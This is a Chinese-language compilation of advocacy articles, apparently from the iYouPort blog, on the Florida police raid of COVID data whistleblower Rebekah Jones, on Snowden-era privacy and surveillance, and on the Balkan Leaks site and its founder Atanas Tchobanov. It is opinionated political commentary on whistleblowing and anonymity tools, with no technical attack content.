拜登在演讲中宣扬了这样一个谎言：只要为表面的安全措施提供一些额外的资金，学校就可以在未来几个月内安全地重新开学。美国教师联合会(AFT)主席兰迪·温加顿 (Randi Weingarten) 是民主党全国委员会成员，也是教育部长的潜在人选，她对这种欺诈行为给予了大力支持，她在推特上说：“哈利路亚! 与特朗普不同，当选总统拜登拥有我们安全重开学校所需的东西。”

扣押 **Jones** 的设备并试图审查她对 **COVID-19** 感染和死亡真相的揭露，是政治机构几十年来持续不断的针对吹哨人的镇压战争中的最新一次。

COVID Monitor 通过匿名提交的方式汇编 K-12 学校病毒爆发的数据，类似于 Wikileaks 的吹哨方式。Wikileaks 创始人 Julian Assange

在过去的十多年里一直受到无情的追捕，目前被关押在伦敦最高级别的贝尔马什监狱，等待被引渡到美国的判决，在那里他很可能面临175年的刑期。

这两位勇敢的吹哨人，以及爱德华·斯诺登和其他许多人，在奥巴马-拜登政府和特朗普政府时期同样受到迫害，即将上任的拜登-哈里斯政府很可能只会加深对言论自由的攻击。

当权者在没有疫苗的情况下发展所谓的 “群体免疫” 的策略，其前提是对数据真相的压制和对科学的篡改。这是一个只能通过警察国家措施来实施的政策，正如武装突袭吹哨人的家。

SEP呼吁非必要的企业和学校必须关闭。必须为所有工人提供充分的收入保护、住房、医疗和高质量的食物，直到流行病得到控制，并由值得信赖的医学专家确定人口安全接种疫苗。要为这些社会计划提供资金，就必须征用统治精英们囤积的巨额财富，他们自疫情开始以来已经积累了超过1万亿美元的资金，近几十年来又积累了数万亿美元的资金。

EFF 指出，武装突袭吹哨人的家是一种报复行为，它依赖于两个早已破损的系统：第一，所谓的计算机犯罪法写得太差了，而且解释得太宽泛，以至于这些法律允许警察、检察官和司法资源遭到令人发指的滥用；第二，警察继续夸大IP地址作为识别人员或地点的手段的可靠性。

关于第一点，见下图，这本书在这里下载：https://www.patreon.com/posts/mo-hu-de-fa-lu-38188415

下面是EFF的解释。

在此案中，警方要求、检察官寻求（法院批准）对吹哨人的家进行武装突袭的逮捕令，以回应吹哨人发送短信给一群致力于追踪 COVID 的政府和非政府人士，敦促人们说出政府隐藏和操纵关于佛罗里达州 COVID爆发的真相。

这绝不是权力滥用的特例：在其他很多案例中，我们已经看到所谓的 “未经授权” 访问这一口袋罪的刑事化被广泛用来威胁那些调查所有人所依赖的技术工具的安全研究人员、起诉一位母亲在社交网络上冒充她的女儿、威胁那些试图刮取 **Facebook** 开源情报以弄清该寡头公司对我们的数据做了什么的调查记者，并起诉那些在公司电脑上 “表现不忠诚”的员工。

这个所谓的 “未经授权” 的访问罪名就是最终逼死亚伦·斯沃茨（Aaron Swartz）的东西，当局威胁他从 JSTOR 数据库中下载学术文章的行为将被判处数十年的监禁。面对这样的威胁，他自杀了。

在 Jones 的案例中，只是一条敦促人们做正确事的短信，怎么会导致武警抄家？可悲的是，答案在于佛罗里达州 “计算机犯罪法” 的模糊性和过度宽泛性，该法与联邦《计算机欺诈和滥用法 CFAA》的语言密切相关（全美许多州的法律同样以CFAA为基础）

该法律规定，“未经授权访问” 计算机是一种犯罪 —— 而且是严重的重罪。但是，它并没有定义什么才是所谓的 “未经授权”。 这就给了执法以无限的解释权。

在全国各地的案件中，以及在美国最高法院目前正在审理的名为 Van Buren 的案件中，我们已经看到，围绕 “授权” 一词缺乏明确的定义和界限，造成了巨大的伤害。在这里，基于 Rebekah Jones 案的宣誓书，警方采取的立场是，向一个你不属于（或不再属于）的团体发送短信就是 “未经授权” 访问电脑，所以是一种犯罪、于是你的家就需要被武装突袭。

尽管很明显的事实是，人们收到一条敦促他们说出真相的短信并没有发生任何伤害。

事实上，如果你曾经与家人分享过密码吗？或者要求别人代你登录某项服务？甚至只是在交友网站上谎报年龄？根据一些法院的解释，你很可能已经从事了 “未经授权” 的访问。现在您知道这是多可怕的口袋罪了？

EFF 敦促最高法院在 Van Buren 案中裁定，违反使用条款（而不是克服技术障碍）永远不能成为违反 “计算机欺诈和滥用法” 的犯罪行为。这不会完全解决法律问题，但是会消除一些最恶劣的权力滥用。

关于第二点，宣誓书显示，警方主要依据信息发送者的IP地址来申请搜查令，派武警前往 Jones 女士的家。这上面没有说明警方是如何将IP地址与物理地址联系起来的，只是说他们使用了 “调查资源”。

媒体报道称，康卡斯特公司 —— 处理该**IP**地址的**ISP** —— 确实确认了 **Jones** 女士的家是与该**IP**地址相关联的客户，但《宣誓书》中并没有说明。

在其他案件中，使用臭名昭著的公共反向IP查询工具已经导致了错误

的家庭突袭，有时甚至是多次错误的突袭，因此警方必须向法庭解释他们是如何确认该地址的，而不是仅仅拿所谓的“调查资源”当幌子。

EFF长期以来一直警告说，过度依赖IP地址作为嫌疑人身份或位置的依据是危险的。警方经常将IP地址比作“指纹”，这种误导性的比喻表明他们是如此信任这种错误的依据。

当你考虑到一个家庭网络使用的单一IP地址通常是用几种不同的数字设备为多人提供互联网连接的现实时，这个比喻就真的崩塌了，这很难确定某一个人。在这里，警方确实告诉法庭，Jones 女士最近在佛罗里达州卫生部工作，所以IP地址并不是摆在法庭面前的唯一事实，但对于入室搜查令来说，还是很单薄的依据，而不是说，警方简单地传唤 Jones 女士来问话。

即使能证明佛罗里达州警方在这个案件中是正确的 —— 目前 Jones 女士已经否认了发送短信的行为 —— 我们其他的人也应该担心，仅仅是**IP**地址，再加上一些未公开的所谓“调查资源”，就可以成为法官允许武装警察进入你家的依据。而且这表明，法官在授权搜查令之前，并没有仔细审查IP地址证据和执法部门关于其可靠性的说法，以及其他支持性证据。

此案证实了国家在保护吹哨人方面的严重、持续的失败。而在本案中 —— 正如 Edward Snowden、Reality Winner、Chelsea Manning 和其他许多吹哨人一样 —— 很明显，保护吹哨人的一部分意味着更新所谓的计算机犯罪法以确保该法律不能被用作检方越权和不当行为的现成工具。并且还需要继续教育法官，让他们了解IP地址的不可靠性，以便他们在授予搜查令之前需要更多的信息，而不仅仅是警方的模糊结论。

很多时候，对计算机和数字网络的误解导致了严重的司法不公。但是，电脑和互联网是会一直存在的。公民反抗组织早就应该确保刑事法律和程序不再依赖“授权”这样过时和不精确的词语以及“指纹”这样严重误导性的比喻，至少是在审议技术时运用技术上的严谨性。○

Stop government attack on COVID-19 whistleblower Rebekah Jones!

Raid on COVID Whistleblower in Florida Shows the Need to Reform Overbroad Computer Crime Laws and the Risks of Over-Reliance on IP Addresses

原文

Snowden 启示五周年：我们离自由还有多远？ - iYouPort

互联网自由-Resist透明度革命

现在就开始吧，这里有你保护自己所需要的几乎所有工具。

「图」

「图」

我曾经惊讶于具有影响力的人权倡导者说出“隐私权不在人权范围内”这句话，在我看来这一论断惊人地糊涂。那是 Snowden 揭秘后的第三年，虽然在 2013 年的最初，在新闻热点的灼烧下还没人敢公然说出这样的话。

后来我被告知，隐私权倡导至今为止在全球范围内都存在着它根本不该面对的难度，甚至超过了反酷刑倡导（尤其是在反恐战争被夸大式宣传之后，更多人默许甚至明确支持对被指认为涉嫌恐怖主义的嫌疑犯采取酷刑逼供的手段）。

隐私倡导遭遇的障碍在某种程度上和反酷刑运动的确有些相似。当权力给一个人贴上“恐怖分子”的标签时，他们就几乎就有权对他/她做任何事，并很可能在道德层面畅通无阻。其社会心理基础是“恐怖主义”这一至今没能被准确定义的、高度复杂的、存在于宣传性文件中比现实中更多的概念，已经深入人心。

是的，正如你所知道的那样，实现对社会的全面控制是每一个政权的追求，所有当权者都擅长通过制造或夸大恐怖气氛、实施战争和紧急状态，从而更为深入地侵犯公民权益，以巩固自身权力。就如埃尔多安政府正在做的那样。土耳其绝不是特例。不消说散播恐惧这种古老的手段至今都非常有效，权力通过扮演保护者的角色，将暴政合理化。至少几十年前索尔仁尼琴就曾说过：A state of war only serves as an excuse for domestic tyranny.

同理，如果当局采取的借口是反恐、反儿童色情、打击贩毒诈骗和洗钱等等，剥夺匿名权的审查和监视就会变得更为顺利。大型科技企业和政权扮演者同样的角色，而如今—互联网时代里—我们应该说，前者拥有比后者更大的权力。我们称之为数字极权。

在这个高度数字化的世界里，代码即法律，算法即政治，数据就是权力，科技巨头通过闭源代码、不透明的算法和广泛的数据收集，所获得的权力早已高于政府，这就是为什么中国政府要求入股 BAT，不仅仅是分钱的问题，因为他们已经对自身权力的流失感到了恐慌。

这些数字极权了解我们的一切，一举一动，不仅包括嘴上所说，还有心里所想—你不会告诉任何人的内心困惑或希望隐藏的需求和弱点，搜索引擎一清二楚，因此数字极权能推测我们未来最有可能做出的选择和发生的行为。

他们掌握着我们的过去—已经被我们绝大多数人所遗忘的东西，并且能控制我们的未来—预测犯罪系统从科幻小说中跳出来变成可怕的现实，其实一点都不惊人，大规模收集的结果是，掌握数据的人不仅能“预测犯罪”，甚至可以预测一切。

因此，谴责和警惕数字极权的意义应该高于至少等同于对政府实施的网络封锁的谴责，虽然做这种比较基本没有意义。然而我却从高级知识分子口中听到了相反的观点：“批评数字极权比批评政府更安全吧”—暗示我在“避重就轻”。因为这里的安全指的是，数字极权不会因为我的反对意见而把我扔进监狱，而政府可以做到。

的确如此。扎克伯格不能把我一个人送进监狱，而他却制造了一个全球性的大型圆形监狱，把 20 亿用户全部扔了进去。事实上，由 FATBAG（Facebook Amazon Tencent Baidu Alibaba Google）构成的数字极权一直在把越来越多的人扔进监狱—全球互联网用户已经突破四十亿。

在这里，你被扒光衣服，被审查思想，甚至被规划未来。你已经失去了所有人权和尊严，变成了一只木偶，只能知道他们希望你知道的东西，只能思考出令他们满意的答案，只能做出他们期待你做出的选择。民主从此被终结。

相比下我一个人会不会进监狱，又有什么值得担心的呢？

「图」

「图」

这只是最浅显的道理。更重要的是，要知道，如果没有硅谷巨头配合开后门、提供用户隐私信息，全球最惊人的大规模监控就很可能无法实现，如果没有 BAT 提供用户私密对话数据，各种言论罪的魔掌就抓不到任何人。

没错，政权能决定这些大型公司的命运，不管是通过约谈施加压力要求对审查的配合，还是通过利益诱惑将他们变成权力的左膀右臂。也正因此，我们无法指望他们站在普遍道义的立场上为我们做什么，因为我们只是他们的产品，政府和数据中间商才是他们的客户，股东才是他们的上帝。

我们只能自己保护自己，使用加密、选择开源、支持去中心理念，这是我们能做的唯一反抗，也是最有效的反抗。当我们成功撤离时就能终止这种剥削侵蚀和人权危机的延续，当越来越多的人撤离时，数字极权就会枯竭。

有人会说，如今遍地都是人脸识别，仅仅线上加密又有什么用呢？当然有用，而且非常有用。目前我们自己能做到的最有效反抗就是切断线上线下的身份联系、切断重要话题和普通话题之间的身份联系，能将我们治罪的监视者绝大多数时候都是通过我们的在线行为和没能有效匿名的身份数据而将我们识别为“目标”的。

当然这样做离自由还差很远，但毕竟是关键的第一步，只有做到这点才能让现实中的组织动员不至于在酝酿期间就被扼杀。

反监视是艰巨的工作，需要广泛、丰富且长期持续的社会运动。因为权力从监视中获得了无可替代的重大利益。我曾经把大规模监视形容为核武器，这两种东西都是所有权力梦寐以求的用以巩固自身加强自身的手段。他们绝不会轻易放弃。于是反监视需要能有全球联合抵制核武器的力量和韧性，才会有希望。

而一切的基础是让更多的人认识到隐私权是基本人权这一概念。人们太容易放弃隐私权了，当政府煽动的恐惧气氛深入内心时（反恐战宣传），当权威效应的欺骗性发挥作用时（硅谷巨头一直在声称隐私定义应该被改写），当贪图便利和免费时（被微妙的授权宣传所蛊惑而点击允许），当虚荣心作祟、超个人主义表现欲占据上风时（晒晒晒曝光自己）……

如果能仔细想想的话就很容易知道，几乎所有这些让我们放弃基本人

权的诱因都是数字极权和专制政权布下的局。

全面控制我们就是他们的终极目的。

隐私的确不如金钱和爱情那样可触，很难在拥有和失去之间形成直观的强烈反差从而触动人心。这是隐私权倡导所面临的所有障碍中最为明显的一个。

加之，数字时代深刻的标志性特征就是冲动和短视，很大程度上它是被数字产品的即时性满足所培养出来的。人们越来越没耐心去听一个道理的讲述，对远期前景越来越无感，为了瞬间的小小刺激愿意放弃一切。这就是为什么 #deleteFacebook 运动看似火爆却收效甚微、人们明知道微信的隐私侵犯之深却依旧痴迷朋友圈。数字极权正在享受他们亲手打造的陷阱所带来的源源不断的红利。

隐私倡导和民主捍卫无法再通过讲道理让人们认识到这一问题的重要性和迫切性，几乎唯一的办法是先引起人们的兴趣，把理念变成文化，让人们感觉到有趣、有价值和值得追求。

巴西隐私权倡导组织 Coding Rights 已经开始尝试这种方法，他们所获得的成效再次说明了扎实的技术实力、乐观应对困难的工作态度和聪明的动员策略相结合是多么的重要。

隐私倡导的确不该继续目前这般依旧较大程度上只能在技术界圈子内孤芳自赏的局面，我们的目标是推动，而不仅仅是在站在原地呐喊等待吸引人们的关注；我们不能期待下一个新闻热点出现聚焦社会目光，就如剑桥分析公司丑闻，不消说这类热点的确很有效，但这种被动同时也意味着我们将继续赋予数字极权侵犯我们的权力。

正是我们所有人曾经的无知将这些公司养成了如今这般无法撼动的惊人规模，不能再继续下去了。

Snowden 冒着生命危险做出的贡献，它的重大价值应该被充分认识，全球互联网公民应该联合起来以实现真正的改变。

截止上个月是大规模监控被揭露五周年，这五年来一些事的确被改变了，从人们对数字极权的醒悟、对情报机构的认识，到加密技术的加速扩散。但这还远远不够。当大多数人依旧留在微信或 Facebook 时，当市场上超过一半人依旧举着手机扫码支付时，当 Gmail 和任何不安全邮箱还在占有最大用户市场时，当下图被很多人认为“仅仅是个笑话”而不是应该恐惧和警惕时，这意味着我们争取自由的努力只

是刚刚起步。

「图」

「图」

如果你认同我们的观点，现在就开始吧，这里是你保护自己所需要的几乎所有工具《安全手册》。

原文

与中国何其相似，巴尔干解密喜忧参半 - iYouPort

透明度革命

上一篇文章中，我只谈到了中国对全球解密运动的效仿如过眼云烟般的失败了。其实，全球曾出现过百余个风风火火的效仿者，其中比较著名的包括：

> 巴尔蒂解密 BaltiLeaks，英国解密 BritiLeaks，布鲁塞尔解密 BrusselsLeaks，公司解密 Corporate Leaks，人群解密 CrowdLeaks，环境解密 EnviroLeaks，法国解密 FrenchLeaks，全球解密 GlobalLeaks，印尼解密 IndoLeaks，爱尔兰解密 IrishLeaks，以色列解密 IsraeliLeaks，巨大解密 Jumbo Leaks，柬埔寨解密 KHLeaks，解密邮件 LeakyMails，地方解密 LocalLeaks，梅普尔解密 MapleLeaks，魁北克解密 QuebeeLeaks，俄罗斯解密 **RuLeaks**，科学解密 ScienceLeaks，商业解密 TradeLeaks，大学解密 UniLeaks……

此外诸如华尔街日报（WSJ）、半岛电视台（AI Jazeera）及瑞典公共广播服务机构等主流媒体也设立了其实验性泄密门户网站。

但其中很多都失败了。大部分这类新网站没有使用 **Tor**，仅使用**SSL**协议或**PGP**，这些并不能隐藏访问者的身份。某些案例中，他们甚至不考虑安全性和加密问题。

很多主流媒体网站窥视着 Wikileaks 发掘的宝藏，但在技术方面，他们无法掌握。这就是为什么我强调，**Wikileaks是全球最安全的解密平台，这里的安全意味着生死**之差。

比如半岛电视台，名为“透明单元 Transparency Unit” 的泄密门户网站提供的只是一个SSL，使用PGP并建议用户运行Tor。它没有提供Tor匿名提交服务，但保护措施不仅需要授权，还要求用户必需是匿名的。

华尔街日报被称为“安全屋 Safehouse” 泄密渠道的建设同样显得无能，以至于安全界直接宣布了它的死亡。曾支持过很多解密运动模仿者的 Jacob Appelbaum 对此指出：“安全屋”在面对攻击时的防御能力非常脆弱，网络探听者能很容易破解SSL，更糟糕的是，该网站与Tor不兼容，无法对用户起到保护作用。他很严肃地写道：

> “如果你打算创办一个文件泄密网站，请有点常识”。

电子前哨基金会（**EFF**）的一项法律分析并揭示了半岛电视台和华尔街日报网站的细则中的一大堆漏洞 —— 它们都规定：如果执法人员要求他们提供用户身份信息，他们将服从，并交出全部资料！

华尔街日报还告诉用户，它可能会与第三方分享泄密资料！就如EFF的律师 Hanni Fakhoury 所说：“他们将保留随时出卖你的权利”。

解密运动看起来风生水起，其事实上由于上述这些原因的存在，加上Wikileaks陷入了内鬼风波导致提交系统暂时关闭，结果是这段时间里的几乎所有人都处在干旱地带。

只有一个例外。

「图」

「图」

巴尔干解密

2010年12月，一个被成为“水牛 Bivol”的保加利亚新闻调查组织创办的“巴尔干解密 Balkan Leaks”上线了，其横跨刊头的标语是：“巴尔干人不再保守秘密”。

他们的宣传Logo上用古斯拉夫语写着一句口号：“提到角！”（水牛的角，为反击做准备）

巴尔干解密网站具备了Tor匿名提交系统，希望揭露巴尔干国家的有组织犯罪和政治腐败现象，它的工作原理与维基解密一样，用户提交秘密泄露的文件将是安全的。网站会将您的文件上传到他们设置的.onion网站。

> .onion是一个用于在Tor网络上寻址特殊用途的顶级域后缀。这种后缀不属于实际的域名，也并未收录于域名根区中。但只要安装了正确的代理软件，如类似

> 于浏览器的网络软件，即可通过Tor服务器发送特定的请求来访问.onion地址。使用这种技术可以使得信息提供商与用户难以被中间经过的网络主机或外界用户所追踪。

曾经不完美

它也有过曾经的不完美，虽然其安全技术被视为 Wikileaks 的可靠替身，起初调查性新闻经验的严重缺乏却与上述那些失败者没有太大区别。

2012年底，巴尔干解密公布了一个加了注释的微软 Word 文件，并称该文件已被提交到了网站的 Tor 服务器上。该文件是一个来自保加利亚能源部的协议，协议中概述了保加利亚和俄罗斯合作建设核电站的计划。

首先，文件使用 Word 提交本身就匪夷所思，并且文件也没有展示俄罗斯和保加利亚合作的完整证据，尤其是，这份协议甚至可以在保加利亚能源部的网站上找到。所以，这不是能引发国际兴趣的泄密。

中国在此的缺陷也将非常突出。我可以不客气地说，包括中国的“专业”媒体在内的政治关注者，极少有人真的能理解本文所强调的调查性新闻 —— 太多人缺乏足够的判断力和证实的逻辑。很多人是热心的，积极的，具有良好的参与激情，他们只是缺乏经验，尤其是政府常年管制下的媒体人，他们的“专业性”已经极其堪忧了。中国网民对假新闻低迷的鉴别能力、和对政治八卦的专注，足够说明这点。

巴尔干解密做出过不少成绩，其中最显赫的当属“百页文件”。它们是保加利亚前国防部长、一名法官以及公共财政部秘书长在一起受贿案中，长时间窃听录音的完整版本。

该文件还包含了每一级法官对不同事件的贿赂金额要求不加掩饰的讨论：这份文件需要几千保加利亚列弗（лев）。巴尔干解密网站写道：“这是第一次将这些完整录音公之于众，该录音文件实际上是一份行贿法官的指南”。

“百页文件”是该网站第一次抢先报道。相比于此前此后创立的那些碌碌无为的效仿者来说，唯独保加利亚人的泄密持续着。他们还曾经公布过**76**名前政治警察（**Drazhavna Sigurnost** ）的名单和身份证号码 —— 政治警察是共产主义时代保加利亚的秘密警察。

就相当于中国的国宝和维稳便衣。

不久之后，巴尔干解密成为全球解密热潮中一座成功的孤独灯塔。

「图」

「图」

政权疯狂迫害调查记者

巴尔干解密的创始人是 Atanas Tchobanov。他曾作为侨民在巴黎圣米歇尔方丹生活过二十年。

Tchobanov 认为，巴尔干解密最大的成功在于对加强匿名的严格坚持 —— 不通过任何电子邮件、**Facebook**、或者在线聊天系统（**IRC**）的聊天协议提交任何东西。巴尔干解密为 **Tor** 的安装和使用写过一份详细的说明。

巴尔干解密有一共12名工作人员协作，他们有一个罕见的共同点 —— 在这个大多数媒体只是作为无力的政府机器的国家里，这些人一直保有优秀的新闻工作记录。

Tchobanov 曾说："保加利亚的新闻工作者要么是被吓坏了，要么是被收买了。这样的新闻界充斥着金钱和恐惧"。新闻机构与政府频繁交易，媒体为政府的利益而发布公告和广告，这种收入来源滋生出一种自我审查文化。按照无国界记者的评定，该国在欧盟中新闻自由度排名垫底。

再一次，与中国何其相似。

并且，保加利亚的新闻工作者会不时地遭遇袭击。调查过该国有组织犯罪的电视记者 Vassil Ivanov 就遭遇了炸弹袭击；另一名报道了黑手党的作家 Georgi Stoev 则在索非亚中心不幸被杀。还有一名记者被铁锤打成重伤，全身大面积骨折。三起案件均无人被指控。

中国目前为止还没有用炸弹对付记者，也没有记者因报道某些当局厌恶的话题而被杀。

1998年，《特鲁德劳动报》女记者 Anna Zarkova 在报道保加利亚人口贩卖后，被泼了硫酸。面部和身体严重烧伤，右眼因伤势严重而被切除。就在监控摄像头已经拍下了行凶者的车牌的情况下，依旧无人被捕。

Tchobanov 自己也曾经险些被持刀凶手谋杀。

恐吓新闻记者的“传统”要追溯到保加利亚早起统治时期，那时生活在伦敦的、持不同政见者作家 Georgi Markov 被一名乔装成推销员的间谍用雨伞尖刺伤，伞尖将一颗蓖麻毒素小球植入了 Markov 的腿部，三天后，他死在医院里。

这就像一种政府和黑手党赞助的安全监察制度。然而，这种制度不仅没能杀掉 **Tchobanov** 和他的合伙人，反而证实了他们作为新闻工作者的能力，将其塑造为泄密者眼中的不朽人物。正是当局对 **Tchobanov** 等创始人的敌对态度，帮巴尔干解密赢得了资料提供者的信任。

> “我们从不宽恕，我们永不忘记” —— 匿名者组织口号

创始人的身世和刻骨铭心的仇恨

Tchobanov 的祖父是保加利亚反抗部队的将军，领导者数千名游击队员，在该国东南部的山区中与纳粹及保加利亚同盟政府战斗。然而，在战争临近结束时，保加利亚倒向盟国并成为苏联的附庸国后，新的政府并不信任 Tchobanov 祖父的政治势力。

1947年，祖父的私人医生给他进行了一次看似是常规的医疗注射，但，半小时后他就离开了人世。

并没有任何尸检。没有人知道死因。当时 Tchobanov 的父亲只有7岁。

Tchobanov 的祖母被要求签署“与已故丈夫断绝一切关系”的协议。但她拒绝了，于是，她和她的家人依旧是“国家敌人”，在接下来的十几年里，不断被亲友、邻居故意地回避。

中国的文革时期，曾经出现过很多近似的案例。

Tchobanov 的父亲就在这样的阴影中长大，成为了一名作家，而且是保加利亚国内著名的诗人。他以很高的学分毕业于舒门大学，并在靠近土耳其的边境完成了服兵役。他从未隐藏自己对新政府的仇恨，他说：“我知道我们的社会正在走向死胡同，而我不怕说出来”。

Tchobanov 在攻读语言文学硕士期间，认识了一名土耳其女演员，24岁，非常漂亮，三天后他们就结婚了。但只做了一年的夫妻，因为他

收到了一位朋友送来的一份详细报告，该报告正是他的妻子所写 ——在过去的一年中，他的妻子监听了他和他的父亲所说的每一个字、甚至包括他的读的书籍、和他对朋友讲的笑话！

没错，他的妻子就是间谍。

经过质问，他的妻子先是否认，然后承认，最后完全崩溃了，并哭着请求原谅。她承认自己已经为特务机构工作了六年。现在她发誓会终止这份工作。但 Tchobanov 回答："一旦你成为该系统的一员，就不可能退出，这是一种不能治愈的疾病"。

他们离婚了。Tchobanov 就此隐居，在山野中生活，靠养羊和给人帮工收庄稼维生。没有电和缺水的环境下，他生活了五年。他已经快死心了。1992年，73岁的祖母告诉他，父亲将搬到索非亚，他这才返回布尔加斯。

这时他发现，保加利亚完全变了样，至少表面上看是如此，如果不触及它腐败的核心的话。曾毁掉他的生活的政权在少数出身名门的政治寡头手中被解体重组。政治特务机关已经撤销，但还是有很多当年的秘密警察进入了新政府。

他在《劳动日报》找到了一份记者工作。在刊发黑手党谋杀、政府腐败，以及国家资源私有化的文章时，表现出异乎寻常的勇敢，很快他就被看作是保加利亚东部最大的黑幕揭发者之一。

90年代中期的南斯拉夫战争中，塞尔维亚遭受了国际贸易禁运制裁，与俄罗斯隔海相望的保加利亚东部黑海沿岸就顺理成章地成了走私的门户。1994年，Tchobanov 通过秘密消息来源证实了一个涉及黑手党和政府的复杂阴谋，他在《标准周刊》上发表了长达八页的调查报道。

很快，他收到了一连串诽谤指控。但所有这些指控最终都失败了，布尔加斯海关首席官员被控走私，被判有罪。

次年对另一起非法案件的调查——布尔加斯的非法工厂，让他遭到了死亡威胁，一封转交给他的信件上写着："趁早为自己订块墓地！"

此次报道引起了舆论轰轰烈烈，最终，警察不得不对这间工厂进行了查封，但没有逮捕任何人。

这家工厂未被逮捕的牵涉人之一就是 **Boyko Borisov**。十六年后，此人成为了保加利亚总理。

联合的力量

早在 Tchobanov 积极加入全球解密运动之前，他就成尝试过群策群力的反抗方式。

从10岁起，Tchobanov 就知道，索非亚不是他的自由思想能够存在的地方 —— 他拒绝加入当地共产党，并被保加利亚政府强制其从事的低水平产业工作解雇。1989年，他获得了巴黎西部大学的奖学金，并毫不犹豫地搬到了巴黎拉丁区。

那时开始，**Tchobanov** 成为了一名熟练的计算机科学家，通过分析大量口语和书面语数据，找出人类语言最根本的基础。

但随着保加利亚新闻开始通过逐渐增多的网络新媒体一点一滴地跨越国界，他发现祖国的政治不容忽视，并且他看到了自己发挥才能的机会。

2004年，他创立了保加利亚非政府组织，并成为了对该国读者来说的热门媒体《巴黎新闻》的编辑，开始攻击保加利亚政府。

2008年，一份保加利亚报纸意外地将该国议会所有成员的手机号码刊登在了一个邀请函上，其原因是善意的邀请全国公民向议会成员发送新年祝福短信。Tchobanov 抓住了这个机会，将这份名单转发给了全球数千名保加利亚人，让他们发送短信要求废除税收。

很快，超过一万名参与者，以每天**90**条短信的轰炸淹没了议员们的手机，这种方法正是匿名者组织拆毁 **Visa & MasterCard** 网站相同的方式。

保加利亚政府立刻指使媒体对 Tchobanov 进行舆论轰炸加抹黑。而其中一名主张废除税种的议员公开道歉了。最终，Tchobanov 胜利了，法案被废除。

> “所有纳税人都有权联系我们”——*Tchobanov*

只要你想要，就能找到武器

2008年，记者 Ognyan Stefanov 被堵在一家餐馆外，四肢的骨头被打得粉碎，被仍在路边等死。他侥幸保住了性命，却留下了严重的脑震荡，难以坐立。

Stefanov 是“危险新闻”的秘密编辑。在被殴打前的十天，他发表了一

篇有关泄密的报道，该报道揭示了保加利亚国安局官员参与走私团伙的事实。秘密编辑的意思就是不挂名。但某种未知的原因令当局识别出了Stefanov，并找到了他。

在袭击案发生后，越来越多的匿名泄密曝光了国安局从事大量针对记者和政府官员的窃听活动—— **2010**年，保加利亚政府一年进行的窃听大约有**15000**次，几乎等同于美国同年报道数量的**200**倍。这段时间里，秘密警察的监视和恐吓手段越发猖獗。

此事让 Tchobanov 明白，水牛需要新的方法来进行自我保护。他在网络上搜索“匿名提交”，很快找到了 PGP、无痕信息、Tor 和 Wikileaks。

作为一名电脑爱好者，Tchobanov 立刻着迷于网站的技术方法。他开始密切关注 Wikileaks。他认识到，Wikileaks 不仅能保护新闻业，还能促进新闻业。于是他提出了保加利亚自己的解密网站设想 —— 一个以巴尔干及其周边地区为目标的泄密注射器，而非着眼于全球的水龙头。

几天后，他注册了网址，并在法国鲁贝的一家 **OVH** 数据中心建立了一个 **SSL** 保护网站，和**Tor** 匿名服务，该中心在 **Wikileaks** 迁往瑞典之前曾为其提供过服务器。

得到 **Assange** 的赞赏

Tchobanov 不是 Tim May，巴尔干解密也不是 BlackNet。Tchobanov 不仅寻求切开公共机构的秘密来证明加密技术和匿名性的力量，就像所有的优秀记者一样，他和他的同事们追求着最具新闻价值的信息，他们从公布的大部分 Wikileaks 电报中嗅到了其中隐藏的气味，就像 Manning 曾许诺的，期望这些文件能影响到全世界的每一个国家。

一份发布的电报引起了 Tchobanov 的注意，这是2005年美国大使 Pardew 对保加利亚有组织犯罪及其与政府间异常密切关系的简报。但当时 **Wikileaks** 和《卫报》合作，而被卫报编辑后，未包含任何特定的保加利亚人的名字。《卫报》用这份电报捏造了一个俄罗斯影响保加利亚黑手党的故事，但不能断言这是违背了保加利亚人的意愿。因此报纸只是简单地删掉了大量文本。原文共有 5226 个单词，其中的 1406 个单词被删除。

幸运的是，Wikileaks本身发布了完整版电报。这份完整版几乎可以说

是保加利亚有组织犯罪的百科全书，深入到每一个主要团体，并按照诸如多团体、团体间、双向互动方法、与前突击员的联系和朋友等名字分类。这份文件为这些流氓参与的各种犯罪编写了目录，并追查了每一笔流向主要政党的黑钱。

水牛公布了这份报道，其它保加利亚报纸对此趋之若鹜。Tchobanov 在twitter 上责骂《卫报》删节原稿，并写信给Wikileaks，建议换掉卫报，并将保加利亚文件交给水牛。

Wikileaks开始调查水牛的独立性，两个月后，Tchobanov 和 Assange 会面了。

Assange 赞赏巴尔干解密的成绩，及其安全性技术。一个月后，水牛获得了全部文件。他们发现，这些正是他们想要的东西，揭示了巨大的丑闻。并成功报道了保加利亚版的“水门事件”—— 卢克石油公司（Lukoil）和俄罗斯大使馆的密切联系。

「图」

「图」

与中国一样的焦虑

保加利亚著名学者和作家 Evgeny Morozov 因对互联网推进全球政治民主化的能力持悲观态度而闻名。他认为，数字工具只能勒紧政府对其公民的控制。目前看来，他十年前的话已经说对了三分之二。

他对解密运动的全球政治变革能力也抱有谨慎的态度，他认为：“信息能够使政府难堪，但你必需看清政府的本质，就像用信息的本质来衡量难堪的因素一样”。他的话正是很多人质疑为什么 Wikileaks 没有涉及某些国家的信息的一部分潜在原因，另一部分原因是的确没有收到那些国家的泄密资料（Wikileaks 报道过中国的三聚氰胺事件，此后除催红了奶粉代购之外，一切照旧），也是我在 twitter 提出的焦虑所在。

Morozov 明确指出：在俄罗斯和诸多亚洲国家，腐败本身就是公开的秘密，“只要去那里给他们用纳税人的钱购买的豪华别墅和避暑山庄拍点照片，就已经是公开的了，但在这些国家中，自行曝光的行为并没能引发必要的民主化变革”。

他说，不知道发布什么信息能使保加利亚难堪，那里的文化弥漫着犬儒主义，很难想象什么资料才能刺激到人民的反抗。

中国也一样。全球包括“巴拿马文件”在内的一些勇敢的披露，在中国社会上几乎没能引发丝毫的波动，人们就像看着一部色情电影那样，津津乐道着、自我审查着，继续过着犬儒的生活。

2011年5月，巴尔干解密挑战了这个社会的犬儒主义，它公布了美国大使的话，多次给保加利亚总理贴上了犯罪的标签。这些新闻在保加利亚的各种博客中回荡，并被多家媒体报纸报道。

但是，正如 Morozov 预测的那样：几乎什么都没发生。

解密并不是普通的调查新闻，它的目的是变革，是发动人们以此为基准的寻求正义的运动。当一个民族文化注定被动奴性的时候，十个 **Wikileaks** 也无能为力。

解密运动成功推翻了本阿里政府、杀死了卡扎菲、让冰岛人们史上第一次站起来抗议，结束了震惊全球的金融危机，这就是它的目的。然而中国，我不敢保证任何。

保加利亚是强过中国的。自从巴尔干解密对行贿受贿和共济会的报道后，多名法官被以各种名义开除，Tchobanov 并不满意，他将此视为政府的“内部肃清”。在中国也会如此。

